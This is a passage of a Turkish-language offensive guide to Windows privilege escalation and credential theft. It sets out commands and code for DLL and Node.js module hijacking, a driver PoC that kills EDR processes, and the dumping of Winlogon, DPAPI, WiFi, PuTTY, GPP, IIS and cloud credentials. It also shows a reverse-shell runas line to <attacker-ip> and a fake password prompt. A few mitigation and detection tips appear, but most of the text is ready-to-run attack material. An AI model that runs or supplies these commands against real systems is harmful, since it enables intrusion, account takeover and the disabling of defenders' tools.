accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ plugin autoload persistence/execution
Notepad++ plugins alt klasörleri altındaki herhangi bir plugin DLL’ini otomatik olarak yükler. Yazılabilir bir portable/copy kurulum varsa, kötü amaçlı bir plugin bırakmak her açılışta notepad++.exe içinde otomatik code execution sağlar (DllMain ve plugin callbacks dahil).
Notepad Plus Plus Plugin Autoload Persistence
Run at startup
Başka bir user tarafından çalıştırılacak bazı registry veya binary üzerine yazıp yazamadığını kontrol et.
Privilege’ları yükseltmek için ilginç autoruns locations hakkında bilgi edinmek için aşağıdaki sayfayı oku:
Privilege Escalation with Autoruns
Drivers
Olası third party weird/vulnerable drivers ara
driverquery
driverquery.exe /fo table
driverquery /SI
Eğer bir driver keyfi bir kernel read/write primitive ifşa ediyorsa (kötü tasarlanmış IOCTL handler’larda yaygın), kernel memory içinden doğrudan bir SYSTEM token çalarak privilege escalation yapabilirsiniz. Adım adım teknik için şuraya bakın:
Arbitrary Kernel Rw Token Theft
Vulnerable call’ın attacker-controlled bir Object Manager path açtığı race-condition bug’larda, lookup işlemini bilerek yavaşlatmak (max-length components veya deep directory chains kullanarak) pencereyi microseconds seviyesinden tens of microseconds seviyesine uzatabilir:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Modern hive vulnerabilities deterministic layouts oluşturmanıza, writable HKLM/HKU descendants abuse etmenize ve metadata corruption’ı custom driver olmadan kernel paged-pool overflow’larına dönüştürmenize izin verir. Tüm zinciri burada öğrenin:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Bazı imzalı third-party driver’lar device object’lerini IoCreateDeviceSecure ile güçlü bir SDDL kullanarak oluşturur ama DeviceCharacteristics içinde FILE_DEVICE_SECURE_OPEN ayarını yapmayı unuturlar. Bu flag olmadan, device extra bir component içeren bir path üzerinden açıldığında secure DACL uygulanmaz; böylece herhangi bir unprivileged user aşağıdaki gibi bir namespace path kullanarak handle elde edebilir:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (gerçek bir vakadan)
Bir user device’ı açabildiğinde, driver’ın ifşa ettiği privileged IOCTL’lar LPE ve tampering için abuse edilebilir. Sahada gözlenen örnek capabilities:
- Arbitrary processes için full-access handle döndürme (token theft / DuplicateTokenEx/CreateProcessAsUser ile SYSTEM shell).
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
- Arbitrary processes’i, Protected Process/Light (PP/PPL) dahil, terminate etme; böylece kernel üzerinden user land’den AV/EDR kill yapılabilir.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Geliştiriciler için mitigation’lar
- DACL ile kısıtlanması amaçlanan device object’leri oluştururken her zaman FILE_DEVICE_SECURE_OPEN ayarlayın.
- Privileged işlemler için caller context’i doğrulayın. Process termination veya handle return’lerine izin vermeden önce PP/PPL kontrolleri ekleyin.
- IOCTL’leri kısıtlayın (access masks, METHOD_*, input validation) ve doğrudan kernel privileges yerine brokered modelleri değerlendirin.
Defenders için detection fikirleri
- Şüpheli device name’lerine kullanıcı-modu açılışlarını (ör. \ .\amsdk*) ve abuse’u gösteren belirli IOCTL sequence’lerini izleyin.
- Microsoft’un vulnerable driver blocklist’ini (HVCI/WDAC/Smart App Control) zorunlu kılın ve kendi allow/deny listelerinizi koruyun.
PATH DLL Hijacking
Eğer PATH içinde bulunan bir folder içinde write permissions varsa, bir process tarafından yüklenen bir DLL’i hijack edebilir ve privileges escalate edebilirsiniz.
PATH içindeki tüm folder’ların permissions’larını kontrol edin:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Bu denetimi nasıl kötüye kullanacağınız hakkında daha fazla bilgi için:
Writable Sys Path +Dll Hijacking Privesc
C:\node_modules üzerinden Node.js / Electron module resolution hijacking
Bu, Windows uncontrolled search path varyantıdır ve Node.js ile Electron uygulamalarını, require("foo") gibi çıplak bir import yaptıklarında ve beklenen module eksik olduğunda etkiler.
Node, package’leri dizin ağacında yukarı doğru yürüyerek ve her üst dizindeki node_modules klasörlerini kontrol ederek çözer. Windows’ta bu yürüyüş drive root’a kadar ulaşabilir; bu yüzden C:\Users\Administrator\project\app.js konumundan başlatılan bir uygulama şu yolları yoklayabilir:
C:\Users\Administrator\project\node_modules\fooC:\Users\Administrator\node_modules\fooC:\Users\node_modules\fooC:\node_modules\foo
Eğer bir low-privileged user C:\node_modules oluşturabiliyorsa, içine kötü amaçlı bir foo.js (veya package klasörü) yerleştirebilir ve daha yüksek ayrıcalıklı bir Node/Electron process’in eksik dependency’yi çözmesini bekleyebilir. Payload, kurban process’in security context’inde çalışır; bu nedenle hedef bir administrator olarak, elevated scheduled task/service wrapper üzerinden veya auto-started privileged desktop app olarak çalıştığında bu durum LPE olur.
Bu özellikle şu durumlarda yaygındır:
- bir dependency
optionalDependenciesiçinde tanımlanmışsa - üçüncü taraf bir library
require("foo")çağrısınıtry/catchiçinde sarıp hata durumunda devam ediyorsa - bir package production build’lerden kaldırılmışsa, packaging sırasında dahil edilmemişse veya kurulum başarısız olmuşsa
- vulnerability’ye açık
require()ana application code yerine dependency tree’nin derinlerinde yer alıyorsa
Vulnerable target’ları avlama
Resolution path’i doğrulamak için Procmon kullanın:
Process Nameiçin hedef executable’ı filtreleyin (node.exe, Electron app EXE’si veya wrapper process)Pathiçincontainsnode_modulesfiltreleyinNAME NOT FOUNDveC:\node_modulesaltındaki son başarılı open üzerinde yoğunlaşın
Açılmış .asar dosyalarında veya application sources içinde faydalı code-review pattern’leri:
rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .
Exploitation
- Procmon veya kaynak incelemesinden eksik paket adını belirleyin.
- Varsa mevcut değilse root lookup dizinini oluşturun:
mkdir C:\node_modules
- Tam beklenen ada sahip bir module bırakın:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
- Kurban uygulamayı tetikleyin. Uygulama
require("foo")çalıştırmaya çalışırsa ve meşru modül yoksa, NodeC:\node_modules\foo.jsdosyasını yükleyebilir.
Bu kalıba uyan eksik optional modules için gerçek dünya örnekleri arasında bluebird ve utf-8-validate bulunur, ancak technique yeniden kullanılabilir kısımdır: ayrıcalıklı bir Windows Node/Electron prosesinin çözeceği herhangi bir missing bare import bulun.
Detection and hardening ideas
- Bir kullanıcı
C:\node_modulesoluşturduğunda veya oraya yeni.jsdosyaları/packages yazdığında alarm üretin. C:\node_modules\*içinden okuyan high-integrity prosesleri araştırın.- Production ortamında tüm runtime dependencies paketleyin ve
optionalDependencieskullanımını denetleyin. - Üçüncü taraf kodda sessiz
try { require("...") } catch {}pattern’lerini inceleyin. - Library destekliyorsa optional probe’ları devre dışı bırakın (örneğin, bazı
wsdeployments eskiutf-8-validateprobe’unuWS_NO_UTF_8_VALIDATE=1ile atlayabilir).
Network
Shares
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts dosyasında sabit kodlanmış diğer bilinen bilgisayarları kontrol edin
type C:\Windows\System32\drivers\etc\hosts
Ağ Arayüzleri & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Açık Portlar
Dışarıdan restricted services için kontrol edin
netstat -ano #Opened ports?
Yönlendirme Tablosu
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP Tablosu
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Firewall ile ilgili komutlar için bu sayfayı kontrol edin (kuralları listele, kural oluştur, kapat, kapat…)
Daha fazla ağ keşfi için komutlar burada
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binary bash.exe ayrıca C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe içinde bulunabilir
Root kullanıcı olursanız herhangi bir portta dinleyebilirsiniz (nc.exe’yi ilk kez bir portta dinlemek için kullandığınızda, GUI üzerinden nc’nin firewall tarafından izinli olup olmaması istenecektir).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Root olarak bash’i kolayca başlatmak için --default-user root deneyebilirsiniz
WSL dosya sistemini C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ klasöründe keşfedebilirsiniz
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault, kullanıcı credentials’larını sunucular, web siteleri ve Windows’un kullanıcıları otomatik olarak log in edebildiği diğer programlar için saklar. İlk bakışta bu, artık kullanıcıların Facebook credentials’larını, Twitter credentials’larını, Gmail credentials’larını vb. saklayabildiği ve böylece tarayıcılar üzerinden otomatik olarak log in oldukları anlamına geliyor gibi görünebilir. Ancak durum böyle değildir.
Windows Vault, Windows’un kullanıcıları otomatik olarak log in edebildiği credentials’ları saklar; bu da, credentials gerektiren bir kaynağa erişmek için Windows application kullanan herhangi bir uygulamanın bu Credential Manager ve Windows Vault’tan yararlanıp, kullanıcıların sürekli username ve password girmesi yerine sağlanan credentials’ları kullanabileceği anlamına gelir.
Uygulamalar Credential Manager ile etkileşime girmedikçe, belirli bir kaynak için credentials’ları kullanmaları mümkün değildir diye düşünüyorum. Bu nedenle, uygulamanız vault’tan yararlanmak istiyorsa, bir şekilde credential manager ile iletişim kurmalı ve varsayılan storage vault’tan o kaynak için credentials istemelidir.
Makinadaki stored credentials’ları listelemek için cmdkey kullanın.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Ardından, kaydedilmiş kimlik bilgilerini kullanmak için /savecred seçenekleriyle runas kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı üzerinden uzak bir binary çağırmaktadır.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Sağlanan bir kimlik bilgisi setiyle runas kullanma.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
DPAPI
Data Protection API (DPAPI), verileri simetrik olarak şifrelemek için bir yöntem sağlar ve ağırlıklı olarak Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem gizlisine dayanır.
DPAPI, anahtarların kullanıcı oturum açma gizlilerinden türetilen bir simetrik anahtar aracılığıyla şifrelenmesini sağlar. Sistem şifrelemesi içeren senaryolarda, sistemin domain authentication gizlilerini kullanır.
DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, %APPDATA%\Microsoft\Protect\{SID} dizininde saklanır; burada {SID}, kullanıcının Security Identifier değerini temsil eder. Kullanıcının özel anahtarlarını aynı dosyada koruyan master key ile birlikte bulunan DPAPI key, genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu, bu nedenle içeriğinin CMD içinde dir komutuyla listelenemediğini, ancak PowerShell ile listelenebildiğini belirtmek önemlidir).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Bunu çözmek için uygun argümanlarla (/pvk veya /rpc) mimikatz module dpapi::masterkey kullanabilirsiniz.
master password tarafından korunan credentials files genellikle şurada bulunur:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Decrypt etmek için uygun /masterkey ile mimikatz module dpapi::cred kullanabilirsiniz.
Root iseniz, sekurlsa::dpapi module ile memory içinden birçok DPAPI masterkeys çıkarabilirsiniz.
PowerShell Credentials
PowerShell credentials genellikle scripting ve automation görevlerinde, şifrelenmiş credentials’ı rahatça saklamak için kullanılır. Bu credentials, DPAPI kullanılarak korunur; bu da genellikle yalnızca oluşturuldukları aynı bilgisayardaki aynı kullanıcı tarafından decrypt edilebilecekleri anlamına gelir.
Bir dosya içindeki bir PS credentials’ı decrypt etmek için şunu yapabilirsiniz:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Kaydedilmiş RDP Bağlantıları
Bunları HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
ve HKCU\Software\Microsoft\Terminal Server Client\Servers\ içinde bulabilirsiniz
Son Çalıştırılan Komutlar
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Remote Desktop Credential Manager
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
Sticky Notes
People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe dosyasının var olup olmadığını kontrol edin .
Installer’lar SYSTEM ayrıcalıklarıyla çalıştırılır, birçoğu DLL Sideloading’e karşı savunmasızdır (Bilgi: https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Dosyalar ve Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
Registry’de SSH keys
SSH private keys, registry key HKCU\Software\OpenSSH\Agent\Keys içinde saklanabilir, bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Eğer o path içinde herhangi bir giriş bulursanız, büyük olasılıkla kaydedilmiş bir SSH key’idir. Şifrelenmiş olarak saklanır ama https://github.com/ropnop/windows_sshagent_extract kullanılarak kolayca decrypt edilebilir.
Bu technique hakkında daha fazla bilgi burada: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Eğer ssh-agent service çalışmıyorsa ve boot sırasında otomatik olarak başlamasını istiyorsanız şunu çalıştırın:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Görünüşe göre bu teknik artık geçerli değil. Bazı ssh anahtarları oluşturmaya, bunları
ssh-addile eklemeye ve ssh üzerinden bir makineye giriş yapmaya çalıştım.HKCU\Software\OpenSSH\Agent\Keysregistry yok ve procmon, asimetrik anahtar kimlik doğrulaması sırasındadpapi.dllkullanımını tespit etmedi.
Unattended files
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
You can also search for these files using metasploit: post/windows/gather/enum_unattend
Example content:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM yedekleri
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Cloud Credentials
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
SiteList.xml adlı bir dosya arayın
Cached GPP Pasword
Daha önce, Group Policy Preferences (GPP) aracılığıyla bir grup makineye özel yerel yönetici hesapları dağıtmaya izin veren bir özellik mevcuttu. Ancak bu yöntem ciddi güvenlik açıklarına sahipti. İlk olarak, SYSVOL içinde XML dosyaları olarak saklanan Group Policy Objects (GPOs), herhangi bir domain kullanıcısı tarafından erişilebilirdi. İkinci olarak, bu GPP’ler içindeki parolalar, herkese açık şekilde belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmiş olsa da, kimliği doğrulanmış herhangi bir kullanıcı tarafından çözülebilirdi. Bu, kullanıcıların yükseltilmiş yetkiler elde etmesine izin verebileceği için ciddi bir risk oluşturuyordu.
Bu riski azaltmak için, boş olmayan bir “cpassword” alanı içeren yerel olarak önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda, fonksiyon parolayı çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP ve dosyanın konumu hakkında ayrıntılar içerir; bu da bu güvenlik açığının tespit edilmesine ve giderilmesine yardımcı olur.
Bu dosyalar için C:\ProgramData\Microsoft\Group Policy\history içinde veya C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) içinde arama yapın:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword’yi çözmek için:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec kullanarak parolaları almak:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Kimlik bilgileri içeren web.config örneği:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN credentials
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Loglar
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Kimlik bilgileri iste
Kullanıcıdan her zaman kimlik bilgilerini veya hatta farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsin, eğer onları bilebileceğini düşünüyorsan (dikkat edin, istemciden doğrudan kimlik bilgilerini istemek gerçekten risklidir):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Kimlik bilgileri içerebilen olası dosya adları
Bir zamanlar açık metin veya Base64 olarak parolalar içeren bilinen dosyalar
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Belirtilen tüm dosyaları ara:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBin içinde Credentials
Ayrıca, içinde credentials aramak için Bin’i de kontrol etmelisiniz
Çeşitli programlar tarafından kaydedilmiş passwords’leri recover etmek için şunu kullanabilirsiniz: http://www.nirsoft.net/password_recovery_tools.html
registry içinde
Credentials içeren diğer olası registry keys
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
